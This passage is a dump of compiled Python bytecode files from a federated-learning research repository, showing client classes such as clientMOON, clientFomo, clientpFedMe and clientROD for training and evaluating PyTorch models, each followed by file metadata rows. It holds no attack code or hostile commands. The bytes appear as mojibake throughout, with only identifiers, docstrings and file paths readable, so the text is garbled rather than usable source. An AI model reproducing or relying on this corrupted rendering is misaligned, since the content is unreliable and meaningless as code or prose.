g ƒk�rª|d | j¡|d< n | | j¡}| | j¡}| j�rät dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ �qv�qj| j ¡ | j d d7 < | j d t ¡ | 7 < d S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainr r Ú
requires_gradr Úranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintr ÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚparamr4 ÚiÚxÚyÚoutputr Úmax_local_stepsr r r r' sX
zclientRep.trainc C s0 t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)Úzipr r
r ÚdataÚclone)r r Ú new_paramÚ old_paramr r r Úset_parametersM s zclientRep.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r' rF Ú
__classcell__r r r r r s :r ) r
Útorch.nnr Únumpyr. r$ Úflcore.clients.clientbaser r r r r r Ú<module> s
| 2,312 | Python | .py | 32 | 71.09375 | 290 | 0.419991 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,663 | clientmoon.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmoon.cpython-37.pyc | B
ïfcÏ ã @ s^ d dl Z d dlZd dlmZ d dlZd dlZd dlm mZ d dl
m Z G dd„ de ƒZ dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú
clientMOONc sb t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ |j
| _
d | _t | j¡| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚtauÚmuÚ global_modelÚcopyÚdeepcopyÚ old_model)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientmoon.pyr s
zclientMOON.__init__c C s0 | ¡ }t ¡ }| j | j¡ | j | j¡ | j | j¡ | j ¡ | j}| j rbt
j d|d ¡}�xnt
|ƒD �]`}�xXt|ƒD �]J\}\}}t|ƒtg ƒkr´|d | j¡|d< n | | j¡}| | j¡}| j rìt dt
t
j ¡ ¡ ¡ | j ¡ | j |¡}| j |¡} | | |¡}
| j |¡ ¡ } | j |¡ ¡ } t t t || ¡| j ¡t t || ¡| j ¡t t || ¡| j ¡ ¡ }
|
| j t |
¡ 7 }
|
!¡ | j"�rÂt#| j|t$|ƒƒ q€| j %¡ q€W qnW | j &¡ | j &¡ | j &¡ t' (| j¡| _| j)d d7 < | j)d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)*Úload_train_dataÚtimer
ÚtoÚdevicer r ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradÚbaseÚ predictorr Údetachr
ÚlogÚexpÚFÚcosine_similarityr r ÚmeanÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpur r Útrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsrA ÚiÚxÚyÚrepÚoutputr Zrep_oldZ
rep_globalZloss_conr r r r( sF
P
zclientMOON.trainc C s8 x,t | ¡ | j ¡ ƒD ]\}}|j ¡ |_qW || _d S )N)Úzipr r
ÚdataÚcloner )r r
Ú new_paramÚ old_paramr r r Úset_parametersO s zclientMOON.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r( rQ Ú
__classcell__r r )r r r s 2r )
r r
Útorch.nnr Únumpyr+ r% Útorch.nn.functionalÚ
functionalr: Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,421 | Python | .py | 28 | 85.357143 | 263 | 0.44528 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,664 | clientfomo.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientfomo.cpython-38.pyc | U
”jfcà ã @ sd d dl Z d dlmZ d dlZd dlZd dlZd dlmZ d dl m
Z
d dl m Z G dd„ deƒZ
dS )é N)ÚClient)Ú
DataLoader)Úread_client_datac sn e Zd Z‡ fdd„Zdd„ Zddd„Zdd „ Zd
d „ Zd d
„ Zdd„ Z dd„ Z
dd„ Z dd„ Z dd„ Z
‡ ZS )Ú
clientFomoc sŒ t ƒ j||||f|� |j| _t | j¡| _g | _g | _t j
| j| j d�| _ t
¡ | _t jj| j ¡ | jd�| _d| _| jd| j | _d S )N)Údevice)Úlrgš™™™™™É?é )ÚsuperÚ__init__Ú num_clientsÚcopyÚdeepcopyÚmodelÚ old_modelÚ received_idsÚreceived_modelsÚtorchÚzerosr Ú
weight_vectorÚnnÚCrossEntropyLossÚlossÚoptimÚSGDÚ
parametersÚ
learning_rateÚ optimizerÚ val_ratioÚ
train_samples)ÚselfÚargsÚidr Ú test_samplesÚkwargs©Ú __class__© õL D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientfomo.pyr
s
zclientFomo.__init__c
C sJ | ¡ \}}t ¡ }| |¡ | | j| j¡ | j | j¡ | j ¡ | j }| j
rdt j
d|d ¡}t|ƒD ]¢}|D ]˜\}}t|ƒtg ƒkr¢|d | j¡|d< n | | j¡}| | j¡}| j
rÚt dt t j ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qtql| j ¡ | jd d7 < | jd t ¡ | 7 < d S )Nr é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimeÚaggregate_parametersÚ clone_modelr r Útor ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
val_loaderÚ
start_timeÚmax_local_stepsr= ÚxÚyÚoutputr r& r& r' r0 s2
zclientFomo.trainNc C sz |d kr| j }t| j| jdd�}t| jt|ƒ ƒ }||d … }|d |… }t|| j ddd�}t|| j | jdd�}||fS )NT)Úis_train)Ú drop_lastÚshuffle) Ú
batch_sizer Údatasetr! Úintr Úlenr Ú
has_BatchNorm)r rJ Ú
train_dataÚval_idxZval_datar@ rA r& r& r' r+ ? s zclientFomo.load_train_datac C sÀ | ¡ \}}| j | j¡ | j ¡ d}d}|D ]|\}}t|ƒtg ƒkr^|d | j¡|d< n | | j¡}| | j¡}| |¡}||jd 7 }|| ||¡ ¡ |jd 7 }q0| j ¡ ||fS ©Nr )
r+ r r/ r Úevalr7 Úshaper Úitemr> )r r@ rA Ú train_numr rD rE rF r& r& r' Ú
train_metricsL s
zclientFomo.train_metricsc C s || _ || _d S ©N)r r )r ÚidsÚmodelsr& r& r' Úreceive_modelsc s zclientFomo.receive_modelsc C s– g }| | j|¡}| jD ]h}g }t| ¡ | j ¡ ƒD ] \}}| || d¡¡ q4t |¡}| || ||¡ t |¡d ¡ q|
|¡ t |¡S )Néÿÿÿÿgñh㈵øä>) Úrecalculate_lossr r Úzipr ÚappendÚviewr ÚcatÚnormÚweight_vector_updateÚtensor)r rA Ú weight_listÚLÚreceived_modelZ
params_difZparam_nZparam_ir& r& r' Ú
weight_calg s
&
zclientFomo.weight_calc C sT t | j¡| _t|| jƒD ] \}}| j| | ¡ 7 < qt | j¡ | j
¡| _d S rW ) r3 r r r r] r rT r rc r/ r )r rd Úwr! r& r& r' rb ‚ s z clientFomo.weight_vector_updatec C s� d}| | j¡ |D ]f\}}t|ƒtg ƒkrB|d | j¡|d< n | | j¡}| | j¡}||ƒ}| ||¡}|| ¡ 7 }q| ¡ |t|ƒ S rQ )r/ r r7 r rT r> rM )r Z new_modelrA re rD rE rF r r& r& r' r\ Œ s zclientFomo.recalculate_lossc C s: t | j ¡ | ¡ ƒD ] \}}| j|j ¡ | 7 _qd S rW )r] r r ÚdataÚclone)r rh rf ÚparamZreceived_paramr& r& r' Úadd_parameters› s zclientFomo.add_parametersc C s\ | | |¡¡}t|ƒdkrX| j ¡ D ]}|j ¡ q&t|| jƒD ]\}}| ||¡ qBd S rQ )
Ú weight_scalerg rM r r ri Úzero_r] r rl )r rA Úweightsrk rh rf r& r& r' r- Ÿ s z clientFomo.aggregate_parametersc sN t |t d¡¡}t |¡‰ ˆ dkr@‡ fdd„|D ƒ}t |¡S t g ¡S d S )Nr c s g | ] }|ˆ ‘qS r& r& )Ú.0rh ©Úw_sumr& r' Ú
<listcomp> s z+clientFomo.weight_scale.<locals>.<listcomp>)r Úmaximumrc Úsum)r ro r& rq r' rm © s
zclientFomo.weight_scale)N)Ú__name__Ú
__module__Ú __qualname__r
r0 r+ rV rZ rg rb r\ rl r- rm Ú
__classcell__r& r& r$ r' r s #
r )r Útorch.nnr Únumpyr3 r, r Úflcore.clients.clientbaser Útorch.utils.datar Úutils.data_utilsr r r& r& r& r' Ú<module> s | 5,099 | Python | .py | 48 | 105.145833 | 870 | 0.403405 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,665 | clientpFedMe.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientpFedMe.cpython-38.pyc | U
”jfcö ã @ sX d dl Zd dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
G dd„ de
ƒZ dS )é N)ÚpFedMeOptimizer)ÚClientc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) Ú clientpFedMec s‚ t ƒ j||||f|� |j| _|j| _|j| _t t| j
¡ ƒ¡| _ t t| j
¡ ƒ¡| _ t
¡ | _t| j
¡ | j| jd�| _d S )N)ÚlrÚlamda)ÚsuperÚ__init__r ÚKZp_learning_rateZpersonalized_learning_rateÚcopyÚdeepcopyÚlistÚmodelÚ
parametersÚ local_paramsÚpersonalized_paramsÚnnÚCrossEntropyLossÚlossr Ú optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õN D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientpFedMe.pyr s
ÿzclientpFedMe.__init__c C s� | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t |ƒD �]}|D ]ø\}}t |ƒt g ƒkr†|d | j¡|d< n | | j¡}| | j¡}| jr¾t
dt tj ¡ ¡ ¡ t | jƒD ]@}| j ¡ | |¡}| ||¡} | ¡ | j | j| j¡| _qÈt| j| jƒD ]6\}
} | | j¡} | j| j| j | j|
j | _�qqXqN| j ¡ | | j| j¡ | j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandr r Ú zero_gradr ÚbackwardÚstepr r ÚzipÚdatar Ú
learning_rateÚcpuÚupdate_parametersÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚmax_local_stepsr4 ÚxÚyÚiÚoutputr Ú new_paramZ localweightr r r r' s8
(
zclientpFedMe.trainc C s@ t | ¡ | j ¡ | jƒD ]"\}}}|j ¡ |_|j ¡ |_qd S )N)r5 r r
r r6 Úclone)r r
rB Ú old_paramZ local_paramr r r Úset_parametersE s " zclientpFedMe.set_parametersc C sâ | ¡ }| | j| j¡ | j | j¡ | j ¡ d}d}t ¡ �Š |D ]~\}}t |ƒt g ƒkrt|d | j¡|d< n | | j¡}| | j¡}| |¡}|t
tj |dd�|k¡ ¡ 7 }||j
d 7 }qFW 5 Q R X | j ¡ ||fS )Nr r )Údim)Úload_test_datar9 r
r r% r& ÚevalÚtorchÚno_gradr. ÚsumÚargmaxÚitemÚshaper8 )r ÚtestloaderfullÚtest_accÚtest_numr> r? rA r r r Útest_metrics_personalizedJ s"
z&clientpFedMe.test_metrics_personalized)Ú__name__Ú
__module__Ú __qualname__r r' rE rR Ú
__classcell__r r r r r
s +r ) Únumpyr* r$ r
rI Útorch.nnr Z flcore.optimizers.fedoptimizerr Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,899 | Python | .py | 29 | 98.62069 | 457 | 0.444096 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,666 | clientperavg.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientperavg.cpython-37.pyc | B
gûec ã @ sX d dl Zd dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
G dd„ de
ƒZ dS )é N)ÚPerAvgOptimizer)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientPerAvgc sB t ƒ j||||f|� | j| _t ¡ | _t| j ¡ | jd�| _
d S )N)Úlr) ÚsuperÚ__init__Ú
learning_rateÚbetaÚnnÚCrossEntropyLossÚlossr ÚmodelÚ
parametersÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úI/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientperavg.pyr s
zclientPerAvg.__init__c C s˜ | | jd ¡}t ¡ }| j | j¡ | j ¡ | j}| jrNt j
d|d ¡}�x t |ƒD �]ş}�xö|D �]ì\}}t
t| j ¡ ƒ¡}t|ƒtg ƒkrÔd d g}|d d | j… | j¡|d< |d d | j… |d< n|d | j… | j¡}|d | j… | j¡} | j�r"t dt t j
¡ ¡ ¡ | j ¡ | |¡}
| |
| ¡} | ¡ | j ¡ t|ƒtg ƒk�r¤d d g}|d | jd … | j¡|d< |d | jd … |d< n|| jd … | j¡}|| jd … | j¡} | j�ròt dt t j
¡ ¡ ¡ | j ¡ | |¡}
| |
| ¡} | ¡ x*t| j ¡ |ƒD ]\} }
|
j ¡ | _�q,W | jj| j d� qhW qZW | j ¡ | j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?)r Ú
num_roundsÚ
total_cost) Úload_train_dataÚ
batch_sizeÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚcopyÚdeepcopyÚlistr ÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚzipÚdataÚcloner ÚcpuÚtrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsr2 ÚXÚYZ
temp_modelÚxÚyÚoutputr Ú old_paramÚ new_paramr r r r" sR
zclientPerAvg.trainc C s8 | | j¡}t|ƒ}| j | j¡ | j ¡ t|ƒ\}}t|ƒtg ƒkr^|d | j¡|d< n | | j¡}| | j¡}| j
¡ | |¡}| ||¡}| ¡ | j
¡ t|ƒ\}}t|ƒtg ƒkrÚ|d | j¡|d< n | | j¡}| | j¡}| j
¡ | |¡}| ||¡}| ¡ | j j
| jd� | j ¡ d S )Nr )r )Úload_test_datar Úiterr
r r! r" Únextr, r r0 r r1 r2 r r6 )r Z
testloaderZiter_testloaderr= r> r? r r r r Útrain_one_stepN s2
zclientPerAvg.train_one_step)Ú__name__Ú
__module__Ú __qualname__r r" rE Ú
__classcell__r r )r r r
s :r ) Únumpyr% Útorchr r) Útorch.nnr
Ú flcore.optimizers.fedoptimizerr Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,797 | Python | .py | 40 | 68.7 | 218 | 0.397389 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,667 | clientbabu.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbabu.cpython-37.pyc | B
šúecù
ã @ sL d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dS )é N)ÚClientc s< e Zd Z‡ fdd„Zdd„ Zdd„ Zddgfd d
„Z‡ ZS ) Ú
clientBABUc sd t ƒ j||||f|Ž t ¡ | _tjj| jj
¡ | j d�| _ |j
| _
x| jj
¡ D ]
}d|_qRW d S )N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ optimizerÚfine_tuning_stepsÚ predictorÚ
requires_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚparam)Ú __class__© úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientbabu.pyr
s
zclientBABU.__init__c
C s< | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}xºt |ƒD ]®}x¨t |ƒD ]œ\}\}}t
|ƒt
g ƒkr�|d | j¡|d< n | | j¡}| | j¡}| jrÈt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ q^W qPW | j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr5 ÚiÚxÚyÚoutputr r r r r' s.
zclientBABU.trainc C s4 x.t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qW d S )N)Úzipr r
r ÚdataÚclone)r r Ú new_paramÚ old_paramr r r Úset_parameters6 s zclientBABU.set_parametersr r c
C s | ¡ }| j | j¡ | j ¡ d|krDx| jj ¡ D ]
}d|_q6W d|krhx| jj ¡ D ]
}d|_qZW xœt| j ƒD ]Ž}xˆt
|ƒD ]|\}\}}t |ƒt g ƒkr´|d | j¡|d< n | | j¡}| | j¡}| j
¡ | |¡}| ||¡} | ¡ | j ¡ q‚W qtW | j ¡ d S )Nr Tr Fr )r# r
r% r& r' r r r r- r r. r/ r r3 r r4 r5 r6 )
r Z which_moduler8 r r5 r; r< r= r> r r r r Ú fine_tune: s*
zclientBABU.fine_tune)Ú__name__Ú
__module__Ú __qualname__r r' rD rE Ú
__classcell__r r )r r r s r )
Úcopyr
Útorch.nnr Únumpyr* r$ Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,549 | Python | .py | 35 | 71.657143 | 286 | 0.422664 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,668 | clientrod.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrod.cpython-38.pyc | U
5ngc± „ @ sÄ d dl Z d dlZd dlmZ d dlZd dlZd dlmZ d dl m m
Z d dl m
Z
d dlmZ G ddÑ deÉZd
dd ÑZdS ) È N)⁄Client)⁄label_binarize)⁄metricsc s. e Zd Zá fddÑZddÑ ZdddÑZá ZS ) ⁄ clientRODc
s¨ t É j||||f|é t†° | _tjj| j† ° | j
dç| _ t †
| jj°| _tjj| j† ° | j
dç| _t†| j°| _| †° }|D ](\}}|D ]} | j| †° d7 < qäq~d S )N)⁄lrÈ )⁄super⁄__init__⁄nn⁄CrossEntropyLoss⁄loss⁄torch⁄optim⁄SGD⁄model⁄
parameters⁄
learning_rate⁄ optimizer⁄copy⁄deepcopy⁄ predictor⁄pred⁄opt_pred⁄zeros⁄ num_classes⁄sample_per_class⁄load_train_data⁄item)
⁄self⁄args⁄id⁄
train_samples⁄ test_samples⁄kwargs⁄ trainloader⁄x⁄y⁄yy©⁄ __class__© ıD D:\‰∫¨‰∏ú\promot\cifar\cifar\tiny\system\flcore\clients\clientrod.pyr
s
zclientROD.__init__c
C sz | † ° }t†° }| j†| j° | j†| j° | j†° | j}| jrTt j
† d|d °}t |ÉD ]ÿ}t
|ÉD ] \}\}}t|Étg Ékrö|d †| j°|d< n |†| j°}|†| j°}| j†|°}| j†|°} t|| | jÉ}
| j†° |
†° | j†° | †|†° °} | †| †° | |°} | j†° | †° | j†° qhq\| j†° | j†° | jd d7 < | jd t†° | 7 < d S )Nr È r ⁄
num_rounds⁄
total_cost) r ⁄timer ⁄to⁄devicer ⁄train⁄ local_steps⁄
train_slow⁄np⁄random⁄randint⁄range⁄ enumerate⁄type⁄baser ⁄balanced_softmax_lossr r ⁄ zero_grad⁄backward⁄step⁄detachr r ⁄cpu⁄train_time_cost)
r r$ ⁄
start_time⁄max_local_stepsr? ⁄ir% r& ⁄rep⁄out_gZloss_bsm⁄out_pr r* r* r+ r2 s:
zclientROD.trainNc C s÷ | † ° }|d kr| j}| j†| j° | j†| j° |†° d}d}g }g }t†° êè2 |D ê]$\}}t|Étg Ékrä|d †| j°|d< n |†| j°}|†| j°}| j† |°} | j†
| °}
| †| † ° °} |
† ° | } |t† tj
| ddç|k°†° 7 }||jd 7 }|†t†| °† ° †° †° ° | j}
| jdkêr8|
d7 }
t|† ° †° †° t†|
°dç}| jdkêrv|d d Öd dÖf }|†|° qZW 5 Q R X | j†° | j†° tj|ddç}tj|ddç}tj||ddç}|||fS ) Nr r )⁄dimr, )⁄classes)⁄axis⁄micro)⁄average) ⁄load_test_datar r0 r1 r ⁄evalr
⁄no_gradr: r; r r@ ⁄sum⁄argmaxr ⁄shape⁄append⁄F⁄softmaxrA ⁄numpyr r r5 ⁄arange⁄ concatenater ⁄
roc_auc_score)r r ⁄
testloader⁄test_acc⁄test_num⁄y_prob⁄y_truer% r& rF rG rH ⁄output⁄nc⁄lb⁄aucr* r* r+ ⁄ test_metricsD sH
zclientROD.test_metrics)N)⁄__name__⁄
__module__⁄ __qualname__r r2 rd ⁄
__classcell__r* r* r( r+ r s 'r ⁄meanc C sB |† |°}|†d°†|jd d°}||†° }tj|| |dç}|S )a} Compute the Balanced Softmax Loss between `logits` and the ground truth `labels`.
Args:
labels: A int tensor of size [batch].
logits: A float tensor of size [batch, no_of_classes].
sample_per_class: A int tensor of size [no of classes].
reduction: string. One of "none", "mean", "sum"
Returns:
loss: A float tensor. Balanced Softmax Loss.
r Èˇˇˇˇ)⁄input⁄target⁄ reduction)⁄type_as⁄ unsqueeze⁄expandrS ⁄logrU ⁄
cross_entropy)⁄labels⁄logitsr rm Zspcr r* r* r+ r< t s
r< )ri )r r
⁄torch.nnr
rW r5 r/ ⁄flcore.clients.clientbaser ⁄torch.nn.functional⁄
functionalrU ⁄sklearn.preprocessingr ⁄sklearnr r r< r* r* r* r+ ⁄<module> s h | 3,841 | Python | .py | 42 | 89.404762 | 534 | 0.419058 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,669 | clientbase.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbase.cpython-37.pyc | B
9Íec ã @ s‚ d dl Z d dlZd dlmZ d dlZd dlZd dlm mZ d dl
m Z d dl m
Z
d dlmZ d dlmZ G dd„ deƒZdS )é N)Ú
DataLoader)Úlabel_binarize)Úmetrics)Úread_client_datac @ sh e Zd ZdZdd„ Zddd„Zddd„Zd d
„ Zd d „ Zd
d„ Z dd„ Z
dd„ Z ddd„Z ddd„Z
dS )ÚClientz7
Base class for clients in federated learning.
c K sÔ t |j¡| _|j| _|j| _|| _|j| _|j| _|| _|| _ |j
| _
|j | _ |j
| _
d| _x&| j ¡ D ]}t|tjƒrjd| _P qjW |d | _|d | _dddœ| _dddœ| _|j| _|j| _| j
| j | _d S )NFTÚ
train_slowÚ send_slowr g )Ú
num_roundsÚ
total_cost)ÚcopyÚdeepcopyÚmodelÚdatasetÚdeviceÚidÚsave_folder_nameÚ num_classesÚ
train_samplesÚ test_samplesÚ
batch_sizeÚlocal_learning_rateÚ
learning_rateÚ local_stepsZ
has_BatchNormÚchildrenÚ
isinstanceÚnnÚ BatchNorm2dr r Útrain_time_costZsend_time_costÚprivacyZdp_sigmaÚ sample_rate)ÚselfÚargsr r r ÚkwargsÚlayer© r$ úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientbase.pyÚ__init__ s.
zClient.__init__Nc C s0 |d kr| j }t| j| jdd�}t||ddd�S )NT)Úis_train)Ú drop_lastÚshuffle)r r r r r )r r Ú
train_datar$ r$ r% Úload_train_data1 s zClient.load_train_datac C s0 |d kr| j }t| j| jdd�}t||ddd�S )NF)r' T)r( r) )r r r r r )r r Ú test_datar$ r$ r% Úload_test_data7 s zClient.load_test_datac C s2 x,t | ¡ | j ¡ ƒD ]\}}|j ¡ |_qW d S )N)ÚzipÚ
parametersr
ÚdataÚclone)r r
Ú new_paramÚ old_paramr$ r$ r% Úset_parameters= s zClient.set_parametersc C s0 x*t | ¡ | ¡ ƒD ]\}}|j ¡ |_qW d S )N)r. r/ r0 r1 )r r
ÚtargetÚparamZ target_paramr$ r$ r% Ú clone_modelA s zClient.clone_modelc C s, x&t | ¡ |ƒD ]\}}|j ¡ |_qW d S )N)r. r/ r0 r1 )r r
Ú
new_paramsr6 r2 r$ r$ r% Úupdate_parametersF s zClient.update_parametersc
C sH | ¡ }| j | j¡ | j ¡ d}d}g }g }t ¡ �Ê xÂ|D ]º\}}t|ƒtg ƒkrn|d | j¡|d< n | | j¡}| | j¡}| |¡}|t tj |dd�|k¡
¡ 7 }||j d 7 }| |
¡ ¡ ¡ ¡ | t|
¡ ¡ ¡ t | j¡d�¡ q@W W d Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} ||| fS )Nr é )Údim)Úclasses)ÚaxisÚmicro)Úaverage)r- r
Útor ÚevalÚtorchÚno_gradÚtypeÚsumÚargmaxÚitemÚshapeÚappendÚdetachÚcpuÚnumpyr ÚnpÚaranger Ú concatenater Z
roc_auc_score)
r ZtestloaderfullZtest_accZtest_numZy_probZy_trueÚxÚyÚoutputZaucr$ r$ r% Ú test_metricsJ s.
4
zClient.test_metricsc C sÀ | ¡ }| j | j¡ | j ¡ d}d}x„|D ]|\}}t|ƒtg ƒkr\|d | j¡|d< n | | j¡}| | j¡}| |¡}||jd 7 }|| ||¡ ¡ |jd 7 }q.W | j ¡ ||fS )Nr )
r+ r
r@ r rA rD rH ÚlossrG rK )r Ú trainloaderZ train_numrT rP rQ rR r$ r$ r% Ú
train_metricso s
"
zClient.train_metricsc C sT |d kr| j }tj |¡s$t |¡ t |tj |dt| j ƒ d | d ¡¡ d S )NÚclient_Ú_z.pt)
r ÚosÚpathÚexistsÚmakedirsrB ÚsaveÚjoinÚstrr )r rG Ú item_nameÚ item_pathr$ r$ r% Ú save_item— s
zClient.save_itemc C s8 |d kr| j }t tj |dt| jƒ d | d ¡¡S )NrW rX z.pt)r rB ÚloadrY rZ r^ r_ r )r r` ra r$ r$ r% Ú load_item� s zClient.load_item)N)N)N)N)Ú__name__Ú
__module__Ú __qualname__Ú__doc__r& r+ r- r4 r7 r9 rS rV rb rd r$ r$ r$ r% r
s
%(
r )r rB Útorch.nnr rL rM rY Útorch.nn.functionalÚ
functionalÚFÚtorch.utils.datar Zsklearn.preprocessingr Zsklearnr Zutils.data_utilsr Úobjectr r$ r$ r$ r% Ú<module> s | 4,413 | Python | .py | 40 | 109.05 | 438 | 0.433699 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,670 | clientrep.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrep.cpython-37.pyc | B
À:cc ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientRepc sd t ƒ j||||f|� t ¡ | _tjj| jj
¡ | j d�| _ tjj| jj
¡ | j d�| _|j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ optimizerÚ predictorÚ
poptimizerÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientrep.pyr
s
zclientRep.__init__c C sx | ¡ }t ¡ }| j | j¡ | j ¡ x| jj ¡ D ]
}d|_q6W x| jj ¡ D ]
}d|_qRW x¼t
| j ƒD ]®}x¨t |ƒD ]œ\}\}}t
|ƒt
g ƒkr¬|d | j¡|d< n | | j¡}| | j¡}| jrät dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qzW qlW | j}
| j�r>tj d|
d ¡}
x | jj ¡ D ] }d|_�qLW x | jj ¡ D ] }d|_�qjW xÂt
|
ƒD ]¶}x®t |ƒD ]¢\}\}}t
|ƒt
g ƒk�rÆ|d | j¡|d< n | | j¡}| | j¡}| j�r t dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ �q’W �q„W | j ¡ | j d d7 < | j d t ¡ | 7 < d S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainr r Ú
requires_gradr Úranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintr ÚcpuÚtrain_time_cost) r Ú trainloaderÚ
start_timeÚparamr3 ÚiÚxÚyÚoutputr Úmax_local_stepsr r r r& sX
